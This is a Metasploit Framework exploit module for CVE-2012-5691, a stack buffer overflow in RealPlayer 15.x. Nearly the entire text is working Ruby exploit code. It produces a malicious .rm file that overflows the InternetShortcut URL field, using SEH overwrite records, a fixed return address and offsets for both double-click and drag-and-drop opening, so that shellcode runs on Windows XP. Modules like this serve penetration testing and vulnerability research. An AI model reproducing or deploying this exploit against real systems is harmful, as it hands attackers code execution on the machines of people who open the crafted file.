RealPlayer RealMedia File Handling Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'RealPlayer RealMedia File Handling Buffer Overflow',  
'Description' => %q{  
This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.  
The vulnerability exists in the handling of real media files, due to the insecure  
usage of the GetPrivateProfileString function to retrieve the URL property from an  
InternetShortcut section.  
  
This module generates a malicious rm file which must be opened with RealPlayer via  
drag and drop or double click methods. It has been tested successfully on Windows  
XP SP3 with RealPlayer 15.0.5.109.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'suto <suto[at]vnsecurity.net>' # Vulnerability discovery, metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2012-5691' ],  
[ 'OSVDB', '88486' ],  
[ 'BID', '56956' ],  
[ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ]  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'process'  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d",  
'DisableNops' => true,  
'Space' => 2000  
},  
'Targets' =>  
[  
[ 'Windows XP SP3 / Real Player 15.0.5.109',  
{  
'Ret' => 0x63f2b4b5, # ppr from rpap3260.dll  
'OffsetOne' => 2312, # Open via double click  
'OffsetTwo' => 2964 # Open via drag and drop  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 14 2012',  
'DefaultTarget' => 0))  
  
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class)  
  
end  
  
def exploit  
  
buffer = payload.encoded  
buffer << rand_text(target['OffsetOne'] - buffer.length) # Open the file via double click  
buffer << generate_seh_record(target.ret)  
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string  
buffer << rand_text(target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player  
buffer << generate_seh_record(target.ret)  
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string  
buffer << rand_text(7000) # Generate exception  
  
content = "[InternetShortcut]\nURL="  
filecontent = content+buffer  
  
file_create(filecontent)  
  
end  
end`